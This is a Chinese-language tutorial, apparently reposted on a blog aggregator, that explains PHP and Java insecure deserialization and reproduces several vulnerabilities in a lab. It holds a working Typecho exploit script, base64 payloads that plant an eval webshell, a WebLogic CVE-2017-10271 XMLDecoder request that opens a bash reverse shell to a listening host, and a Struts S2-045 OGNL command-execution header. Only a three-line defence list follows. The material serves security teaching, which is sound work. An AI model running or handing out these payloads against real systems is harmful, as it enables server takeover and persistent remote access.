不安全的反序列化(phpjava)及漏洞复现

news2025/1/11 23:00:32

不安全的反序列化

1. 序列化与反序列化

A8:2017-不安全的反序列化

A08:2021-Software and Data Integrity Failures

为什么要序列化?

序列化,将对象的状态信息转换为可以存储或传输的形式的过程,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。

序列化就是解决对象传输的问题

对象:
	类(抽象的,定义):        学生类
		属性:				 姓名,性别,年龄,成绩
		方法:				 学习,运动,吃饭,睡觉
	对象就是指具体哪个学生(具体的,真实存在的) ,对象是非线性的,不能做流式传输。 
    

传输:
	流式传输:一个字节一个字节传输
	字符串,json,xml

对象–>序列化–>字符串、json–>反序列化–>对象

攻击者可以通过反序列化的过程,在还原对象的过程中完整恶意的攻击

1.1 引例

以PHP 语言为例

JSON 数据是数据的一种表达形式,与Python里的字典类似。

// json.php

$stu = array(
'name'   => 'AJEST', 'age'	=> 18,
'sex'	=> true, 'score' => 89.9
);

// echo $stu;
// var_dump($stu);

$stu_json = json_encode($stu); echo $stu_json;

echo "<hr />";

$stu_json = isset($_GET['stu'])?$_GET['stu']:$stu_json;
$stu = json_decode($stu_json); var_dump($stu);

验证:

?stu={"name":"ajest","age":19,"sex":true,"score":89.9}

在www目录下新建unserialize文件夹,在文件夹下新建json.php文件,将上述代码复制进json.php中

image-20230905155255043

因为stu的内容是数组非线性的,使用echo是无法输出$stu的内容的,因为echo只能输出字符串(线性的);使用var_dump可以强制转换字符串输出;如果stu无法输出那就无法存储和传输,要想存储和传输的话就要进行json_encode编码

image-20230905160307886

显示的内容是json格式的数据,json格式的数据能使用echo输出,那就证明能够存储和传输;要想将json格式的数据还原成数组只要做json_decode就能还原成数组

image-20230905160832274

重新还原成数组就可以在程序中使用了。

将数组转换成json格式的数据是为了能够传输,将json格式的数据转换回数组是为了能够使用。

1.2 序列化实例

1.2.1 定义一个类

//   stu.class.php

class Stu{
	public $name; 
    public $age; 
    public $sex; 
    public $score;
}

在unserialize文件夹下新建一个stu.class.php文件,将上述代码复制进去。

class(关键字:类),stu是类名

image-20230905161726201

1.2.2 创建对象

创建一个对象,并对该对象进行序列化操作,将对象转化为可以存储、传输的字符串。

// serialize.php

include   "./stu.class.php";//include:包含,将stu.class.php的内容作为它的一部分

$stu1 = new Stu();//以stu这个类作为模板新建一个对象stu1

$stu1 -> name	= "AJEST";//对stu这个对象做初始化$stu1.name
$stu1 -> age	= 24;
$stu1 -> sex	= true;
$stu1 -> score   = 99.9;

// echo $stu1;//无法输出,因为一个类的对象不能转换成字符串
// var_dump($stu1);//强制转换为字符串

$_stu1 = serialize($stu1); //将对象做序列化
echo $_stu1;//做完序列化在输出

在www下新建serialize.php文件,将上述代码复制进serialize.php中

image-20230905164042330

序列化后的字符串:

O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}

解释:

s:4:“name”;s:5:“AJEST”;是一个键值对

s:3:“age”;i:24;是一个键值对

s:3:“sex”;b:1;是一个键值对

s:5:“score”;d:99.900000000000006;是一个键值对

O:序列化后的对象object

3:类名的长度,类有几个字符

stu:类的名字

4:有四个变量

s:string(字符串)

4:name的长度是4

s:string(字符串)

5:AJEST的长度是5

s:string(字符串)

3:age的长度是3

i:int

24:age的值

s:string(字符串)

3:age的长度是3

b:bool(布尔)

1:布尔值

s:string(字符串)

5:score的长度是5

d:double

99.900000000000006:score的值

1.2.3 反序列化

将字符串转化为对象。

//   unserialize.php

include "./stu.class.php";

$stu1_ser = 'O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}';

$stu1_obj = unserialize($stu1_ser); var_dump($stu1_obj);

在www下新建unserialize.php文件,将上述代码复制进unserialize.php文件中

image-20230905164823817

1.2.4 对象注入

如果反序列化字符串,Web 用户可以控制,则造成对象注入。

// $stu1_seria = 'O:3:"Stu":4: {s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}';
$stu1_ser = $_GET['stu1_ser'];

image-20230905165233060

http://127.0.0.1/unserialize/unserialize.php?stu1_ser=O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}

image-20230905165302302

PHP 的反序列化漏洞也叫PHP 对象注入,是一个非常常见的漏洞,这种漏洞在某些场景下虽然有些难以利用,但是一旦利用成功就会造成非常危险的后果

2. 漏洞何在

2.1 漏洞触发

2.1.1 有一个类

//   vul.class.php

class Vul{
public $str = "AJEST";

function __destruct(){
//echo "This is function __destruct()"; 
@eval($this -> str);//eval,危险语句,将字符串当作PHP代码执行

}
}

在www下新建vul.class.php文件,将上述代码复制进vul.class.php文件中

image-20230905172107543

2.1.2 有一个对象

// test.php

include './vul.class.php';

$s = new Vul(); //从vul这个类中创建一个对象$s
echo serialize($s); //对$s进行序列化操作后输出
echo "<hr />";

$_s = $_GET['s_ser'];//通过get方式得到s_ser参数
$s = unserialize($_s);//将$_S的值进行反序列化 
var_dump($s);//将反序列化的内容输出

在www下新建test.php文件,将上述代码复制进test.php文件中

image-20230905173053338

image-20230905173451757

序列化后:

O:3:"Vul":1:{s:3:"str";s:5:"AJEST";}

2.1.3 反序列化执行代码

?s_ser=O:3:"Vul":1:{s:3:"str";s:10:"phpinfo();";}

image-20230905173656023

2.2 为什么会这样

__destruct(),会被对象自动调用。

以 __ 开头的函数,是PHP 中的魔术方法。类中的魔术方法,在特定情况下会自动调用。即使魔术方法在类中没有被定义,也是真实存在的。

魔术方法触发条件
__construct()在创建对象时自动调用,构造函数
__destruct()在销毁对象时自动调用,析构函数
__call();
__callStatic(); 
__get(); 
__set();
__isset();
__unset(); 
__sleep(); 
__wakeup();					创建对象之前触发
__toString(); 
__invoke(); 
__set_state(); 
__clone(); 
__debuginfo();
 

image-20230905173951081

因为__destruct():在销毁对象时自动调用,并且脚本执行完后要销毁,所以 __destruct() 执行了

image-20230905174033335

销毁的两个对象分别是在调用vul类时创建的对象进行反序列化还原的对象

漏洞形成的根本原因:

程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。

3. 反序列化漏洞攻防

3.1 PHP 反序列化实例

typecho 反序列化漏洞

3.1.1 环境搭建

image-20230905175735484

image-20230905180125166

image-20230905180148919

3.1.2 实操

危险函数:call_user_func(回调函数),assert(将字符串当作php代码执行)

call_user_func('assert',"phpinfo()");

这句函数相当于

assert(phpinfo());

image-20230905185105641

使用call_user_func(回调函数)可以构造一句话木马

typecho 反序列化漏洞此文章中提到typecho中有魔术方法,并且含有call_user_func(回调函数),并且typecho反序列化漏洞使用了对象注入

image-20230905185507492

如果构造的序列化后的语句中的类注入对象中没有那么就会还原成一个不知道是什么的类

image-20230905190206977

利用漏洞利用脚本

<?php
class Typecho_Feed{
	const RSS1 = 'RSS 1.0';
	const RSS2 = 'RSS 2.0';
	const ATOM1 = 'ATOM 1.0';
   	const DATE_RFC822 = 'r';
	const DATE_W3CDTF = 'c';
	const EOL = "\n";
	private $_type;
	private $_items;
	
	public function __construct(){
		$this->_type = $this::RSS2;
		$this->_items[0] = array(
			'title' => '1',
			'link' => '1',
			'date' => 1508895132,
			'category' => array(new Typecho_Request()),
			'author' => new Typecho_Request(),
		);
	}
}

class Typecho_Request{
	private $_params = array();
	private $_filter = array();

	public function __construct(){
		$this->_params['screenName'] = 'phpinfo()';
		$this->_filter[0] = 'assert';//有危险函数
    }
}

$exp = array(
	'adapter' => new Typecho_Feed(),
	'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

将上述代码复制到www目录下的typecho_1.0(14.10.10)_unserialize_phpinfo.php文件中,执行typecho_1.0(14.10.10)_unserialize_phpinfo.php获得经过base64编码的序列化的字符串,构造的这个字符串中的类一定是typecho中存在的类的名字,否则序列化字符串在注入的时候会注入不进去

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

typecho的漏洞点是install.php页面,通过finish参数传递

image-20230905192031234

文章中使用GET方式提交的,也可以使用POST方式提交,提交的内容通过__typecho_config传递

image-20230905192639063

image-20230905192754173

3.1.3 GETshell

使用bp抓包,将数据包发送重发器,修改cookie

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjA6ImZpbGVfcHV0X2NvbnRlbnRzKCdTaGVsbC5waHAnLCc8P3BocCBAZXZhbCgkX1BPU1RbNjY2XSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX1zOjEwOiJkYXRlRm9ybWF0IjtOO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

image-20230905203714173

点击发送

使用蚁剑进行连接

image-20230905203953759

image-20230905204050769

3.2 Java 反序列化实例

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

S2-045 Remote Code Execution Vulnerablity

JBoss 5.x/6.x 反序列化漏洞

fastjson 1.2.24 反序列化导致任意命令执⾏漏洞

Fastjson 1.2.47 远程命令执⾏漏洞

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

3.2.1 Weblogic

3.2.1.1 环境搭建

进入漏洞库启动环境

image-20230905194158699

3.2.1.2 过程

访问本机地址的7001端口的/console页面

漏洞扫描工具:nacs和weblogicScan

使用nacs工具扫描IP和端口

image-20230905201816400

使用weblogicScan工具扫描

image-20230905204352462

复现2017-10271,访问wls-wsat/CoordinatorPortType页面

image-20230905204936383

使用bp抓包,发送重发器

image-20230905205054409

将数据包改为POST请求

image-20230905205125803

将漏洞利用代码复制到POST请求数据包中,漏洞利用代码是输入一个周期性计划任务,通过21端口获得反弹shell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.16.176/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image-20230905205538395

还是报错,因为提交的代码是xml语言格式的

修改POST数据包

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.16.176:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ADMINCONSOLESESSION=qZfqk3sDhfVMkMlb3LMJpxzDJxgBrDwNqFCyGFZh339bGMLY0G1r!-169694376
Connection: close
Content-Type: text/xml
Content-Length: 631

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.16.176/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image-20230905210709339

使用瑞士军刀扫描21端口

nc -lnvp 21

image-20230905210738174

3.2.2 S2

3.2.2.1 环境搭建

image-20230905212434278

因为8080端口被bp占用,修改端口

image-20230905212445330

image-20230905212623452

3.2.2.2 过程

使用nacs扫描

image-20230905213232914

访问本机IP908端口,使用bp抓包发送重发器,改为POST请求,并将漏洞利用代码复制到数据包中

image-20230905213726084

漏洞利用:S2-045、S2-046 - 京亟QAQ - 博客园 (cnblogs.com)

Content-Type:  %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

修改POST数据包,并点击发送

image-20230905214351884

获得回显,修改whoami,相当于获得一个shell

image-20230905214618513

3.3 反序列化漏洞防御

  • 升级组件到最新版本

  • 黑白名单过滤敏感字符

  • 禁用反序列化功能

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/981519.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

搭建PyTorch神经网络进行气温预测

import numpy as np import pandas as pd import matplotlib.pyplot as plt import torch import torch.optim as optim import warnings warnings.filterwarnings("ignore") %matplotlib inline features pd.read_csv(temps.csv)#看看数据长什么样子 features.he…

React三属性之:refs

作用 refs是为了获取节点,使用场景主要在需要操作dom的时候,比如echarts,就需要真实的dom节点 使用 import React from "react"; class RefsTest extends React.Component{state {value:输入框的值}refPlan React.createRef()logRef ()>{console.log(this.r…

AlmaLinux 经济收益增加,红帽 RHEL 源码限制不成威胁

导读红帽在两个月前发布公告表示&#xff0c;将限制对 Red Hat Enterprise Linux (RHEL) 源代码的访问&#xff0c;未来 CentOS Stream 将成为公共 RHEL 相关源代码发布的唯一仓库。对于这一决策&#xff0c;AlmaLinux OS Foundation 主席 Benny Vasquez 则向 SiliconANGLE 表示…

线性代数的学习和整理21,向量的模,矩阵的模,矩阵的模和行列式比较(未完成)

目录 1 模的定义 2 向量的模是距离 2.1 向量的模的定义 2.2 向量的模的计算公式 3 矩阵的模 3.1 矩阵/向量组的模的定义 3.2 矩阵的模的公式 4 矩阵的模和行列式的关系&#xff1f; 1 模的定义 模&#xff0c;又称为范数。范数&#xff0c;是具有“长度”概念的函数。…

暖手宝亚马逊美国站UL认证标准要求UL499测试报告

电子产品作为亚马逊平台上较受欢迎的品类之一&#xff0c;得到很多卖家的关注。目前&#xff0c;亚马逊已成为电子产品类零售商No.1。在亚马逊平台上&#xff0c;有18%的卖家出售电子产品。但随着销售该类产品的卖家逐渐增多&#xff0c;平台的审核力度也在加大。进驻亚马逊美国…

java八股文面试[数据库]——可重复读怎么实现的(MVCC)

可重复读&#xff08;repeatable read&#xff09;定义&#xff1a; 一个事务执行过程中看到的数据&#xff0c;总是跟这个事务在启动时看到的数据是一致的。 MVCC MVCC&#xff0c;多版本并发控制, 用于实现读已提交和可重复读隔离级别。 MVCC的核心就是 Undo log多版本链 …

重磅|Falcon 180B 正式在 Hugging Face Hub 上发布!

引言 我们很高兴地宣布由 Technology Innovation Institute (TII) 训练的开源大模型 Falcon 180B 登陆 Hugging Face&#xff01;Falcon 180B 为开源大模型树立了全新的标杆。作为当前最大的开源大模型&#xff0c;有180B 参数并且是在在 3.5 万亿 token 的 TII RefinedWeb 数据…

springboot项目配置flyway菜鸟级别教程

1、Flyway的工作原理 Flyway在第一次执行时&#xff0c;会创建一个默认名为flyway_schema_history的历史记录表&#xff0c;这张表会用来跟踪或记录数据库的状态&#xff0c;然后每次项目启动时都会自动扫描在resources/db/migration下的文件的版本号并且通过查询flyway_schem…

[极客大挑战 2019]FinalSQL(bypass盲注)

这里是数字型注入&#xff0c;选择一个序号 fuzz ?id1这里过滤了很多东西 使用fuzzSQL字典&#xff0c;这是我自己定义编写的一个fuzz字典&#xff0c;内容较少 select from information . tables whereand " or | & union columns updatexml extractvalue databa…

大数据Flink(七十四):SQL的滑动窗口(HOP)

文章目录 SQL的滑动窗口(HOP) SQL的滑动窗口(HOP) 滑动窗口定义:滑动窗口也是将元素指定给固定长度的窗口。与滚动窗口功能一样,也有窗口大小的概念。不一样的地方在于,滑动窗口有另一个参数控制窗口计算的频率(滑动窗口滑动的步长)。因此,如果滑动的步长小于窗口大…

TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension “.ts“ for xxx

报错信息&#xff1a; 解决方法&#xff1a; 在 package.json 文件中将 【type:“module”】删除

【Spring Boot】分页

分页查询 分页查询是日常开发中比较常用的功能。MyBatis框架下也有很多插件实现分页功能&#xff0c;比如pageHelper。这是一款非常简单、易用的分页插件&#xff0c;能很好地集成在Spring Boot中。pageHelper是一款基于MyBatis的数据库分页插件&#xff0c;所以我们在使用它时…

【广州华锐互动】AR远程协助技术提供实时远程协作和指导

随着科技的不断发展&#xff0c;企业的运营管理模式也在不断地进行创新和升级。在这个过程中&#xff0c;AR&#xff08;增强现实&#xff09;技术的应用逐渐成为了企业运维管理的新兴趋势。AR远程协助平台作为一种结合了AR技术和远程协助理念的技术手段&#xff0c;为企业运维…

裙式给料机的全球市场在2030年前将达到64亿美元!

裙式给料机&#xff0c;又称旋翼式给料机或喂料机&#xff0c;是一种结构独特的连续式给料设备&#xff0c;主要用于粗碎或中碎物料的过程。其核心部分为带有旋翼的裙式料斗&#xff0c;通过裙式料斗的旋转&#xff0c;将物料均匀地送入后续的破碎设备中。这种给料机的特点是结…

Word 表格单元格无法垂直居中

Word使用 由于平时也需要用到word编写一些文档&#xff0c;但是咱们就是用的少&#xff0c;很多操作或者技巧不太清楚&#xff0c;很多小问题处理起来反而需要消耗很多时间&#xff0c;所以在这里记录平时遇到的一些问题。 表格无法垂直居中 类似于上图的情况&#xff0c;总之…

【Java 基础篇】Java 自动装箱与拆箱:优雅处理基本数据类型与包装类的转换

在 Java 编程中&#xff0c;自动装箱&#xff08;Autoboxing&#xff09;和自动拆箱&#xff08;Unboxing&#xff09;是两个重要的概念。它们使得基本数据类型与其对应的包装类之间的转换更加方便&#xff0c;同时也提高了代码的可读性和可维护性。本篇博客将深入探讨自动装箱…

leetcode 92.反转链表II dummy节点的应用

题目 方法 dummy节点 链表的第一个结点&#xff0c;因为没有前驱结点&#xff0c;存在同时删除前驱和后继的情况&#xff0c;这时候我们需要人为构造dummy节点——人为制造出来的第一个结点的前驱结点&#xff0c;也就是说&#xff0c;在可能操作head节点时&#xff0c;我们可…

MySQL——存储引擎

简介 MySQL数据库主要的存储引擎&#xff1a; MyISAM和InnoDB简介 MyISAM是MySQL的默认数据库引擎&#xff08;5.5版之前&#xff09;&#xff0c;由早期的 ISAM &#xff08;Indexed Sequential Access Method&#xff1a;有索引的顺序访问方法&#xff09;所改良。虽然性能…

Spring学习笔记——3

Spring学习笔记——3 一、AOP简介1.1、AOP概述1.2、AOP思想的实现方案1.3、模拟AOP的基础代码1.4、AOP的相关概念 二、基于XML配置的AOP2.1、XML方式AOP快速入门2.2、XML方式AOP配置详解2.3、XML方式AOP原理剖析 三、基于注解配置AOP3.1、注解方式AOP基本使用3.2、注解方式AOP配…

springMVC基础技术使用

目录 1.常用注解 1.1RequestMapping 1.2.RequestParam 1.3.RequestBody 1.4.PathVariable 2.参数传递 2.1 slf4j-----日志 2.2基础类型 2.3复杂类型 2.4RequestParam 2.5PathVariable 2.6RequestBody 2.7请求方法&#xff08;增删改查&#xff09; 3.返回值 3.1void …